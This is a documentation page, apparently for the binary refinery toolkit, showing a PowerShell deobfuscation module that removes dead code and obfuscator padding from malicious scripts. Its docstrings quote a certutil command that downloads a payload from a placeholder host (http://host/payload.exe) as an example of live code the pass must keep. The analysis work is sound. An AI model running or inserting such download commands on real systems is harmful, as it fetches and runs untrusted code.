Module refinery.lib.scripts.ps1.deobfuscation.deadcode
Eliminate dead code from PowerShell scripts after constant folding.
Expand source code Browse git
"""
Eliminate dead code from PowerShell scripts after constant folding.
"""
from __future__ import annotations
from refinery.lib.scripts import (
Block,
Expression,
Node,
Statement,
Transformer,
)
from refinery.lib.scripts.ps1.analysis.cache import model_cache
from refinery.lib.scripts.ps1.analysis.effects import (
OutputSink,
is_fault_free,
is_side_effect_free,
output_sink,
)
from refinery.lib.scripts.ps1.analysis.types import TypeOracle
from refinery.lib.scripts.ps1.analysis.values import is_truthy, unwrap_integer
from refinery.lib.scripts.ps1.ast import get_body, is_builtin_variable, unwrap_parens
from refinery.lib.scripts.ps1.data import COMPARISON_OPS, KNOWN_CMDLETS
from refinery.lib.scripts.ps1.deobfuscation.helpers import (
store_dropped_to_value,
switch_matches,
)
from refinery.lib.scripts.ps1.deobfuscation.removal import Ps1RemovalPlan
from refinery.lib.scripts.ps1.model import (
Ps1AssignmentExpression,
Ps1BinaryExpression,
Ps1BreakStatement,
Ps1CommandArgument,
Ps1CommandInvocation,
Ps1ContinueStatement,
Ps1DoLoop,
Ps1ExpressionStatement,
Ps1ForLoop,
Ps1IfStatement,
Ps1IntegerLiteral,
Ps1RealLiteral,
Ps1ScopeModifier,
Ps1StringLiteral,
Ps1SwitchStatement,
Ps1TrapStatement,
Ps1TryCatchFinally,
Ps1UnaryExpression,
Ps1Variable,
Ps1WhileLoop,
)
_PATH_EXTENSIONS = frozenset({'.exe', '.ps1', '.cmd', '.bat', '.com', '.vbs', '.msi'})
def _carries_assignment_marker(cmd: Ps1CommandInvocation, name: str) -> bool:
"""
Whether `cmd` is the syntactic residue of an assignment the obfuscator emitted where a command
was expected. Both spellings have to be recognized because the lexer splits them differently:
`foo =5` becomes a name and one `=`-prefixed argument, while `0042DsKaho=8602057` stays a single
bareword name, the digit-leading form being the one an obfuscator emits most.
The split spelling is recognized only when the residue is *everything* the invocation carries:
one argument, written without quotes, reached without a call operator. Each of those is a thing
an assignment cannot produce and a command line can — `certutil -urlcache -split -f
=http://host/payload.exe` carries three more tokens, `certutil '=http://host/payload.exe'`
quotes the one it has, and `& msiexec =foo` is in command position by an operator that is legal
nowhere else — and matching any of them erases the very `try { <LOLBin> } catch { }` shape this
predicate was rewritten to stop erasing.
"""
if '=' in name:
return True
if cmd.invocation_operator or len(cmd.arguments) != 1:
return False
argument = cmd.arguments[0]
value = argument.value if isinstance(argument, Ps1CommandArgument) else argument
return (
isinstance(value, Ps1StringLiteral)
and value.raw == value.value
and value.value.startswith('=')
)
def _is_injected_noise_bareword(expr: Expression, oracle: TypeOracle) -> bool:
"""
Return `True` when `expr` is a bareword command carrying an assignment marker and no argument
that does anything — the shape an obfuscator injects to pad a script, which the passes below
delete along with the `try` wrapped around it.
This is a guess about an artifact, not a proof about the command. An `=` does not establish that
the name resolves to nothing, and a native binary invoked this way is still dropped, so the
marker is the entire basis for the guess and nothing here may widen past it. The rule this
replaced asked instead whether the metadata knew the name, which read absence from a
host-collected table as proof of non-existence: every common LOLBin is missing from that table,
so `try { certutil -urlcache -split -f http://host/payload.exe } catch { }` erased itself.
The whole guess rests on the command table being the one the metadata describes, so it is only
made in a closed world. A script that dot-sources a file, imports a module, defines an alias or
runs `iex` can make any bareword resolve to real code, and only the redefinitions spelled as a
`function` reach the shadow set — the world verdict covers the rest, which is why the
precondition sits here rather than another name-by-name list.
"""
if not isinstance(expr, Ps1CommandInvocation):
return False
if not isinstance(expr.name, Ps1StringLiteral):
return False
if not oracle.world_closed_at(expr):
return False
name = expr.name.value
name_lower = name.lower()
if not _carries_assignment_marker(expr, name):
return False
if name_lower in KNOWN_CMDLETS or not oracle.may_trust_command_name(name_lower, expr):
return False
if any(sep in name for sep in ('\\', '/', ':')):
return False
if any(name_lower.endswith(ext) for ext in _PATH_EXTENSIONS):
return False
if name.startswith('.') or name.startswith('~'):
return False
for arg in expr.arguments:
value = arg.value if isinstance(arg, Ps1CommandArgument) else arg
if value is not None and not is_side_effect_free(value, oracle):
return False
return True
def _hoisted_initializer(expr: Expression) -> Ps1ExpressionStatement:
"""
The statement a `for` initializer becomes once its loop is pruned away.
PowerShell evaluates the initializer in a void context, so its value reaches nobody:
`for (5; $False; ) { }` and `for ((Get-Date); $False; ) { }` both put nothing on the output,
where the bare statements `5` and `(Get-Date)` put a value there. Hoisting one plainly would
therefore make the deobfuscated script print what the original never printed — the mirror image
of deleting output, and no less wrong.
An assignment already swallows its own value and is hoisted as written. Everything else is
wrapped, and the wrapper is `StatementEffect.DISCARD`, so a later pass drops it when the work
inside is pure and keeps it when it is not.
"""
if isinstance(expr, Ps1AssignmentExpression):
return Ps1ExpressionStatement(expression=expr)
return store_dropped_to_value(expr)
def _try_body_survivors(body: list[Statement], oracle: TypeOracle) -> list[Statement] | None:
"""
What a try body leaves behind once its construct is dissolved, or `None` when it cannot be.
A statement survives dissolution only if it means the same thing outside the construct as
inside it, which asks two questions of it and not one. It must not raise, or the empty `catch`
that was swallowing the error is gone and the throw reaches the caller. And it must keep its
output, so a statement that can emit is carried over rather than dropped. `is_fault_free`
answers both at once: what it accepts cannot raise and is carried, and a body holding anything
else keeps its construct.
The one exception is a bareword `_is_injected_noise_bareword` recognizes as obfuscator padding,
which is dropped rather than carried. That is a heuristic and it is the reason this returns a
body that is *believed* inert rather than one proven so; a bareword the script redefines runs
that definition and is never such a guess, which is one of the facts `oracle` carries.
"""
survivors: list[Statement] = []
for stmt in body:
if not isinstance(stmt, Ps1ExpressionStatement):
return None
if stmt.expression is None:
continue
if is_fault_free(stmt.expression):
survivors.append(stmt)
continue
if _is_injected_noise_bareword(stmt.expression, oracle):
continue
return None
return survivors
def _evaluate_for_condition(node: Ps1ForLoop) -> bool | None:
"""
Try to evaluate a for-loop condition at loop entry by substituting the initial value of the
loop variable into the comparison. Returns the boolean result, or `None` if the pattern does not
match.
"""
init = node.initializer
cond = node.condition
if not isinstance(init, Ps1AssignmentExpression) or init.operator != '=':
return None
if not isinstance(init.target, Ps1Variable):
return None
init_val = unwrap_integer(init.value)
if init_val is None:
return None
if not isinstance(cond, Ps1BinaryExpression):
return None
op_fn = COMPARISON_OPS.get(cond.operator.lower())
if op_fn is None:
return None
var_name = init.target.name.lower()
var_scope = init.target.scope
left_val = _resolve_side(cond.left, var_name, var_scope, init_val.value)
right_val = _resolve_side(cond.right, var_name, var_scope, init_val.value)
if left_val is None or right_val is None:
return None
return bool(op_fn(left_val, right_val))
def _resolve_side(
node, var_name: str, var_scope: Ps1ScopeModifier, init_val: int,
) -> int | None:
"""
Resolve one side of a for-loop condition to an integer: if the node is the loop variable,
return the initial value; if it is a constant integer, return that; otherwise return `None`.
"""
node = unwrap_parens(node) if isinstance(node, Expression) else node
if (
isinstance(node, Ps1Variable)
and node.name.lower() == var_name
and node.scope == var_scope
):
return init_val
result = unwrap_integer(node)
return result.value if result is not None else None
def _make_int_literal(value: int) -> Ps1IntegerLiteral:
return Ps1IntegerLiteral(value=value, raw=str(value))
def _is_counter_variable(node, var_name: str, var_scope: Ps1ScopeModifier) -> bool:
node = unwrap_parens(node) if isinstance(node, Expression) else node
return (
isinstance(node, Ps1Variable)
and node.name.lower() == var_name
and node.scope == var_scope
)
def _counter_delta(iterator, var_name: str, var_scope: Ps1ScopeModifier) -> int | None:
"""
Return the constant per-iteration change a for-loop iterator applies to the loop variable, or
`None` when the iterator is not a nonzero constant step on that single variable (`$i++`, `$i--`,
`$i += k`, `$i -= k`).
"""
if isinstance(iterator, Ps1UnaryExpression) and iterator.operator in ('++', '--'):
if _is_counter_variable(iterator.operand, var_name, var_scope):
return 1 if iterator.operator == '++' else -1
return None
if isinstance(iterator, Ps1AssignmentExpression) and iterator.operator in ('+=', '-='):
if not _is_counter_variable(iterator.target, var_name, var_scope):
return None
step = unwrap_integer(iterator.value)
if step is None:
return None
delta = step.value if iterator.operator == '+=' else -step.value
return delta or None
return None
def _counter_condition(cond, var_name: str, var_scope: Ps1ScopeModifier):
"""
Return `(predicate, bound)` where `predicate` maps an integer loop-variable value to the truth
of the for-loop condition and `bound` is the constant it is compared against, or `None` when the
condition is not a comparison between the loop variable and a constant integer (`$i <cmp> C` or
`C <cmp> $i`). The bound lets the caller size a simulation cap to the loop's real trip count.
"""
if not isinstance(cond, Ps1BinaryExpression):
return None
op_fn = COMPARISON_OPS.get(cond.operator.lower())
if op_fn is None:
return None
left_int = unwrap_integer(cond.left)
right_int = unwrap_integer(cond.right)
if _is_counter_variable(cond.left, var_name, var_scope) and right_int is not None:
bound = right_int.value
return (lambda value: bool(op_fn(value, bound))), bound
if _is_counter_variable(cond.right, var_name, var_scope) and left_int is not None:
bound = left_int.value
return (lambda value: bool(op_fn(bound, value))), bound
return None
def _simulate_empty_for_terminal(node: Ps1ForLoop) -> tuple[Ps1Variable, int] | None:
"""
For an empty-bodied `for` loop driven by a single integer counter, return `(variable, terminal)`
giving the value the counter holds once the loop exits, or `None` when the loop is not a
provably-terminating linear counter (non-constant initializer/bound, `for (;;)`, a
non-constant-step iterator, or a condition that never turns false). The counter is stepped
exactly as PowerShell evaluates the loop — check the condition, then apply the iterator — so the
terminal value is exact, including the zero-iteration case where the counter keeps its initial
value.
"""
init = node.initializer
if not isinstance(init, Ps1AssignmentExpression) or init.operator != '=':
return None
if not isinstance(init.target, Ps1Variable):
return None
init_int = unwrap_integer(init.value)
if init_int is None:
return None
variable = init.target
var_name = variable.name.lower()
var_scope = variable.scope
delta = _counter_delta(node.iterator, var_name, var_scope)
if delta is None:
return None
condition = _counter_condition(node.condition, var_name, var_scope)
if condition is None:
return None
predicate, bound = condition
# A terminating linear counter reaches the bound within `distance / |step|` iterations; a couple
# extra guard against off-by-one and the exact-hit (`-ne`/`-eq`) cases. Exceeding this proves
# the condition never turns false (a wrong-direction step), so the loop is infinite and left
# intact. The absolute cap prevents pathological samples (e.g. bound = 2 billion) from hanging
# the pass.
cap = min(abs(bound - init_int.value) // abs(delta) + 2, 100_000)
value = init_int.value
iterations = 0
while predicate(value):
value += delta
iterations += 1
if iterations > cap:
return None
return variable, value
def _body_breaks_unconditionally(body: list[Statement]) -> bool:
"""
Return `True` if the last statement in the body is an unlabeled break and the body contains no
continue statements at any nesting depth. Such a loop body executes exactly once.
"""
if not body:
return False
last = body[-1]
if not isinstance(last, Ps1BreakStatement) or last.label is not None:
return False
for stmt in body[:-1]:
for node in stmt.walk():
if isinstance(node, (Ps1BreakStatement, Ps1ContinueStatement)):
return False
return True
_NO_LITERAL = object()
def _switch_literal(node):
"""
Extract the constant `int`/`str`/`bool` value a switch value or clause condition compares with,
or `_NO_LITERAL` when it is not a compile-time constant.
"""
node = unwrap_parens(node)
if isinstance(node, (Ps1IntegerLiteral, Ps1RealLiteral, Ps1StringLiteral)):
return node.value
if is_builtin_variable(node, {'true'}):
return True
if is_builtin_variable(node, {'false'}):
return False
return _NO_LITERAL
def _switch_clause_body(body: list[Statement]) -> tuple[list[Statement], bool] | None:
"""
Return the statements of a matched switch clause together with a flag indicating whether the
clause terminates the switch (a trailing `break`). Returns `None` when the body contains a
top-level `break`/`continue` that is not a single trailing `break`, since inlining it would
retarget the jump to an enclosing loop.
"""
stmts = list(body)
stop = False
if stmts and isinstance(stmts[-1], Ps1BreakStatement):
stmts = stmts[:-1]
stop = True
for stmt in stmts:
if isinstance(stmt, (Ps1BreakStatement, Ps1ContinueStatement)):
return None
return stmts, stop
class Ps1DeadCodeElimination(Transformer):
"""
Remove unreachable code guarded by constant boolean conditions and resolve switch statements
on constant values.
"""
def visit(self, node: Node):
# Captured once, not re-read per body: `set_body` below advances the tree version, so a
# per-call-site lookup would rebuild the whole-tree walk after every prune, and could flip
# the verdict mid-pass. Capturing errs the safe way — this pass only removes or hoists
# nodes and never introduces a leak, so a stale verdict is always the more open one.
oracle = model_cache(self, node).oracle
for parent in list(node.walk()):
sink = output_sink(parent)
if sink is None or sink is OutputSink.CAPTURED:
continue
if self._prune_body(parent, oracle):
self.mark_changed()
def _prune_body(self, parent: Node, oracle: TypeOracle) -> bool:
"""
Rewrite each statement of one body into what its condition has already been proved to make
of it, or leave it alone.
This pass used to also drop bare constants wherever it read the body's value as unobserved,
which was the narrowest slice of `StatementEffect.OUTPUT` and still a slice of it: `42` at
the script root prints `42`, and `if ($x) { 42 }` prints it too. Reading a body's value as
unobserved is not something position can say — only
`refinery.lib.scripts.ps1.analysis.effects.Ps1OutputFlow` can, by resolving the destination
across the call graph — so deleting a write to the output stream is a decision
`refinery.lib.scripts.ps1.deobfuscation.unused.Ps1JunkStatementRemoval` owns alone, and the
whole decision is gone from here rather than gated to nothing.
What is left removes only constructs whose condition is already proved constant, so none of
it can be what an enclosing handler catches, and none of it can empty a body that pruning
was not already entitled to empty.
"""
plan = Ps1RemovalPlan(parent, removals_may_fault=False)
for stmt in get_body(parent):
replacement = self._try_prune(stmt, oracle)
if replacement is None:
continue
plan.propose(stmt, replacement)
return plan.commit()
def _try_prune(self, stmt: Statement, oracle: TypeOracle) -> list[Statement] | None:
if isinstance(stmt, Ps1WhileLoop):
return self._prune_while(stmt)
if isinstance(stmt, Ps1DoLoop):
return self._prune_do_loop(stmt)
if isinstance(stmt, Ps1ForLoop):
return self._prune_for(stmt)
if isinstance(stmt, Ps1IfStatement):
return self._prune_if(stmt)
if isinstance(stmt, Ps1SwitchStatement):
return self._prune_switch(stmt)
if isinstance(stmt, Ps1TryCatchFinally):
return self._prune_try(stmt, oracle)
if isinstance(stmt, Ps1TrapStatement):
return self._prune_trap(stmt, oracle)
return None
@staticmethod
def _prune_while(node: Ps1WhileLoop) -> list[Statement] | None:
truth = is_truthy(node.condition)
if truth is False:
return []
if node.body is not None and _body_breaks_unconditionally(node.body.body):
body = list(node.body.body[:-1])
if truth is True or node.condition is None:
return body
return [Ps1IfStatement(clauses=[(node.condition, Block(body=body))])]
return None
@staticmethod
def _prune_do_loop(node: Ps1DoLoop) -> list[Statement] | None:
if node.body is not None:
trivially_exits = (
is_truthy(node.condition) is True if node.is_until
else is_truthy(node.condition) is False
)
if trivially_exits:
body = node.body.body
if _body_breaks_unconditionally(body):
return list(body[:-1])
for stmt in body:
for child in stmt.walk():
if isinstance(child, (Ps1BreakStatement, Ps1ContinueStatement)):
return None
return list(body)
if _body_breaks_unconditionally(node.body.body):
return list(node.body.body[:-1])
return None
@staticmethod
def _prune_for(node: Ps1ForLoop) -> list[Statement] | None:
truth = _evaluate_for_condition(node)
if truth is None:
truth = is_truthy(node.condition)
if truth is False:
result: list[Statement] = []
if node.initializer is not None:
result.append(_hoisted_initializer(node.initializer))
return result
if node.body is not None and _body_breaks_unconditionally(node.body.body):
result = []
if node.initializer is not None:
result.append(_hoisted_initializer(node.initializer))
body = list(node.body.body[:-1])
if truth is True or node.condition is None:
result.extend(body)
else:
result.append(Ps1IfStatement(clauses=[(node.condition, Block(body=body))]))
return result
if node.body is None or not node.body.body:
terminal = _simulate_empty_for_terminal(node)
if terminal is not None:
variable, value = terminal
target = Ps1Variable(name=variable.name, scope=variable.scope)
assignment = Ps1AssignmentExpression(
target=target, operator='=', value=_make_int_literal(value))
return [Ps1ExpressionStatement(expression=assignment)]
return None
@staticmethod
def _prune_if(node: Ps1IfStatement) -> list[Statement] | None:
kept_clauses: list[tuple] = []
for index, (condition, block) in enumerate(node.clauses):
truth = is_truthy(condition)
if truth is True:
return list(block.body)
if truth is False:
continue
kept_clauses.append((condition, block))
kept_clauses.extend(node.clauses[index + 1:])
break
else:
if node.else_block is not None:
return list(node.else_block.body)
return []
if len(kept_clauses) == len(node.clauses):
return None
# A new statement rather than a clause list spliced into this one: a pass proposes an edit
# and does not perform it, so the proposal has to be something the vetoes can compare
# against the original. Dropping the clauses in place makes the two the same object, and a
# payload under the `if ($false)` arm of a chain would read as having survived it.
return [Ps1IfStatement(clauses=kept_clauses, else_block=node.else_block)]
@staticmethod
def _prune_switch(node: Ps1SwitchStatement) -> list[Statement] | None:
if node.regex or node.wildcard or node.file:
return None
value = _switch_literal(node.value)
if value is _NO_LITERAL:
return None
default_body: list[Statement] | None = None
result: list[Statement] = []
matched = False
for condition, block in node.clauses:
if condition is None:
default_body = block.body
continue
cond_val = _switch_literal(condition)
if cond_val is _NO_LITERAL:
# A non-constant clause condition might match at runtime; cannot resolve statically.
return None
if switch_matches(value, cond_val, case_sensitive=node.case_sensitive):
body = _switch_clause_body(block.body)
if body is None:
return None
stmts, stop = body
result.extend(stmts)
matched = True
if stop:
return result
if matched:
return result
if default_body is not None:
body = _switch_clause_body(default_body)
if body is None:
return None
return body[0]
return []
def _prune_try(self, node: Ps1TryCatchFinally, oracle: TypeOracle) -> list[Statement] | None:
"""
Resolve a `try`/`catch`/`finally` into what its `try` body leaves behind, followed by the
`finally` body, which always runs. An empty or absent try body needs no separate case
because `_try_body_survivors` accepts it vacuously.
Both routes require every `catch` clause to be empty, because a handler with a body is live
code whose reachability this pass cannot decide. An empty try body is no license to drop
one: emptiness here is rarely how the source was written, it is what an earlier pass left
behind, so it is evidence about that pass and not about whether the original body could
throw.
What an empty `catch` licenses is narrower than it looks, and this used to take it as broad.
It licenses *deleting* a statement that raises, since the error was being swallowed either
way. It does not license moving one out, and every statement here is moved, not deleted —
so the gate is fault-freedom rather than purity, and a body whose statements merely look
harmless keeps its construct.
"""
for clause in node.catch_clauses:
if clause.body is not None and clause.body.body:
return None
try_body = node.try_block.body if node.try_block is not None else []
survivors = _try_body_survivors(try_body, oracle)
if survivors is None:
return None
finally_body = node.finally_block.body if node.finally_block is not None else []
return survivors + list(finally_body)
def _prune_trap(self, node: Ps1TrapStatement, oracle: TypeOracle) -> list[Statement] | None:
"""
Remove a `trap` handler whose body produces no observable output. A trap only runs when the
code it guards throws a terminating error; injected-noise traps (`trap { continue }`, an
empty `trap {}`, `trap { break }`) merely swallow or re-raise without emitting anything, so
deleting them is invisible unless an error actually propagates. A body that performs a side
effect — a real logging handler such as `trap { Write-Host 'err' }` — keeps the trap intact.
The gate is purity, not emission: this removal is not provable under strict semantics at all
(it relies on the guarded code never throwing), and under that premise a body that merely
emits never runs either, so `trap { 5 }` and `trap { Get-Date }` are dropped alike. Only a
body whose statements would do something observable is worth keeping the trap for.
"""
body = node.body.body if node.body is not None else []
for stmt in body:
if isinstance(stmt, (Ps1BreakStatement, Ps1ContinueStatement)):
if stmt.label is not None:
return None
continue
if isinstance(stmt, Ps1ExpressionStatement):
if stmt.expression is None or is_side_effect_free(stmt.expression, oracle):
continue
return None
return []
Classes
class Ps1DeadCodeElimination-
Remove unreachable code guarded by constant boolean conditions and resolve switch statements on constant values.
Expand source code Browse git
class Ps1DeadCodeElimination(Transformer): """ Remove unreachable code guarded by constant boolean conditions and resolve switch statements on constant values. """ def visit(self, node: Node): # Captured once, not re-read per body: `set_body` below advances the tree version, so a # per-call-site lookup would rebuild the whole-tree walk after every prune, and could flip # the verdict mid-pass. Capturing errs the safe way — this pass only removes or hoists # nodes and never introduces a leak, so a stale verdict is always the more open one. oracle = model_cache(self, node).oracle for parent in list(node.walk()): sink = output_sink(parent) if sink is None or sink is OutputSink.CAPTURED: continue if self._prune_body(parent, oracle): self.mark_changed() def _prune_body(self, parent: Node, oracle: TypeOracle) -> bool: """ Rewrite each statement of one body into what its condition has already been proved to make of it, or leave it alone. This pass used to also drop bare constants wherever it read the body's value as unobserved, which was the narrowest slice of `StatementEffect.OUTPUT` and still a slice of it: `42` at the script root prints `42`, and `if ($x) { 42 }` prints it too. Reading a body's value as unobserved is not something position can say — only `refinery.lib.scripts.ps1.analysis.effects.Ps1OutputFlow` can, by resolving the destination across the call graph — so deleting a write to the output stream is a decision `refinery.lib.scripts.ps1.deobfuscation.unused.Ps1JunkStatementRemoval` owns alone, and the whole decision is gone from here rather than gated to nothing. What is left removes only constructs whose condition is already proved constant, so none of it can be what an enclosing handler catches, and none of it can empty a body that pruning was not already entitled to empty. """ plan = Ps1RemovalPlan(parent, removals_may_fault=False) for stmt in get_body(parent): replacement = self._try_prune(stmt, oracle) if replacement is None: continue plan.propose(stmt, replacement) return plan.commit() def _try_prune(self, stmt: Statement, oracle: TypeOracle) -> list[Statement] | None: if isinstance(stmt, Ps1WhileLoop): return self._prune_while(stmt) if isinstance(stmt, Ps1DoLoop): return self._prune_do_loop(stmt) if isinstance(stmt, Ps1ForLoop): return self._prune_for(stmt) if isinstance(stmt, Ps1IfStatement): return self._prune_if(stmt) if isinstance(stmt, Ps1SwitchStatement): return self._prune_switch(stmt) if isinstance(stmt, Ps1TryCatchFinally): return self._prune_try(stmt, oracle) if isinstance(stmt, Ps1TrapStatement): return self._prune_trap(stmt, oracle) return None @staticmethod def _prune_while(node: Ps1WhileLoop) -> list[Statement] | None: truth = is_truthy(node.condition) if truth is False: return [] if node.body is not None and _body_breaks_unconditionally(node.body.body): body = list(node.body.body[:-1]) if truth is True or node.condition is None: return body return [Ps1IfStatement(clauses=[(node.condition, Block(body=body))])] return None @staticmethod def _prune_do_loop(node: Ps1DoLoop) -> list[Statement] | None: if node.body is not None: trivially_exits = ( is_truthy(node.condition) is True if node.is_until else is_truthy(node.condition) is False ) if trivially_exits: body = node.body.body if _body_breaks_unconditionally(body): return list(body[:-1]) for stmt in body: for child in stmt.walk(): if isinstance(child, (Ps1BreakStatement, Ps1ContinueStatement)): return None return list(body) if _body_breaks_unconditionally(node.body.body): return list(node.body.body[:-1]) return None @staticmethod def _prune_for(node: Ps1ForLoop) -> list[Statement] | None: truth = _evaluate_for_condition(node) if truth is None: truth = is_truthy(node.condition) if truth is False: result: list[Statement] = [] if node.initializer is not None: result.append(_hoisted_initializer(node.initializer)) return result if node.body is not None and _body_breaks_unconditionally(node.body.body): result = [] if node.initializer is not None: result.append(_hoisted_initializer(node.initializer)) body = list(node.body.body[:-1]) if truth is True or node.condition is None: result.extend(body) else: result.append(Ps1IfStatement(clauses=[(node.condition, Block(body=body))])) return result if node.body is None or not node.body.body: terminal = _simulate_empty_for_terminal(node) if terminal is not None: variable, value = terminal target = Ps1Variable(name=variable.name, scope=variable.scope) assignment = Ps1AssignmentExpression( target=target, operator='=', value=_make_int_literal(value)) return [Ps1ExpressionStatement(expression=assignment)] return None @staticmethod def _prune_if(node: Ps1IfStatement) -> list[Statement] | None: kept_clauses: list[tuple] = [] for index, (condition, block) in enumerate(node.clauses): truth = is_truthy(condition) if truth is True: return list(block.body) if truth is False: continue kept_clauses.append((condition, block)) kept_clauses.extend(node.clauses[index + 1:]) break else: if node.else_block is not None: return list(node.else_block.body) return [] if len(kept_clauses) == len(node.clauses): return None # A new statement rather than a clause list spliced into this one: a pass proposes an edit # and does not perform it, so the proposal has to be something the vetoes can compare # against the original. Dropping the clauses in place makes the two the same object, and a # payload under the `if ($false)` arm of a chain would read as having survived it. return [Ps1IfStatement(clauses=kept_clauses, else_block=node.else_block)] @staticmethod def _prune_switch(node: Ps1SwitchStatement) -> list[Statement] | None: if node.regex or node.wildcard or node.file: return None value = _switch_literal(node.value) if value is _NO_LITERAL: return None default_body: list[Statement] | None = None result: list[Statement] = [] matched = False for condition, block in node.clauses: if condition is None: default_body = block.body continue cond_val = _switch_literal(condition) if cond_val is _NO_LITERAL: # A non-constant clause condition might match at runtime; cannot resolve statically. return None if switch_matches(value, cond_val, case_sensitive=node.case_sensitive): body = _switch_clause_body(block.body) if body is None: return None stmts, stop = body result.extend(stmts) matched = True if stop: return result if matched: return result if default_body is not None: body = _switch_clause_body(default_body) if body is None: return None return body[0] return [] def _prune_try(self, node: Ps1TryCatchFinally, oracle: TypeOracle) -> list[Statement] | None: """ Resolve a `try`/`catch`/`finally` into what its `try` body leaves behind, followed by the `finally` body, which always runs. An empty or absent try body needs no separate case because `_try_body_survivors` accepts it vacuously. Both routes require every `catch` clause to be empty, because a handler with a body is live code whose reachability this pass cannot decide. An empty try body is no license to drop one: emptiness here is rarely how the source was written, it is what an earlier pass left behind, so it is evidence about that pass and not about whether the original body could throw. What an empty `catch` licenses is narrower than it looks, and this used to take it as broad. It licenses *deleting* a statement that raises, since the error was being swallowed either way. It does not license moving one out, and every statement here is moved, not deleted — so the gate is fault-freedom rather than purity, and a body whose statements merely look harmless keeps its construct. """ for clause in node.catch_clauses: if clause.body is not None and clause.body.body: return None try_body = node.try_block.body if node.try_block is not None else [] survivors = _try_body_survivors(try_body, oracle) if survivors is None: return None finally_body = node.finally_block.body if node.finally_block is not None else [] return survivors + list(finally_body) def _prune_trap(self, node: Ps1TrapStatement, oracle: TypeOracle) -> list[Statement] | None: """ Remove a `trap` handler whose body produces no observable output. A trap only runs when the code it guards throws a terminating error; injected-noise traps (`trap { continue }`, an empty `trap {}`, `trap { break }`) merely swallow or re-raise without emitting anything, so deleting them is invisible unless an error actually propagates. A body that performs a side effect — a real logging handler such as `trap { Write-Host 'err' }` — keeps the trap intact. The gate is purity, not emission: this removal is not provable under strict semantics at all (it relies on the guarded code never throwing), and under that premise a body that merely emits never runs either, so `trap { 5 }` and `trap { Get-Date }` are dropped alike. Only a body whose statements would do something observable is worth keeping the trap for. """ body = node.body.body if node.body is not None else [] for stmt in body: if isinstance(stmt, (Ps1BreakStatement, Ps1ContinueStatement)): if stmt.label is not None: return None continue if isinstance(stmt, Ps1ExpressionStatement): if stmt.expression is None or is_side_effect_free(stmt.expression, oracle): continue return None return []Ancestors
Methods
def visit(self, node)-
Expand source code Browse git
def visit(self, node: Node): # Captured once, not re-read per body: `set_body` below advances the tree version, so a # per-call-site lookup would rebuild the whole-tree walk after every prune, and could flip # the verdict mid-pass. Capturing errs the safe way — this pass only removes or hoists # nodes and never introduces a leak, so a stale verdict is always the more open one. oracle = model_cache(self, node).oracle for parent in list(node.walk()): sink = output_sink(parent) if sink is None or sink is OutputSink.CAPTURED: continue if self._prune_body(parent, oracle): self.mark_changed()
Inherited members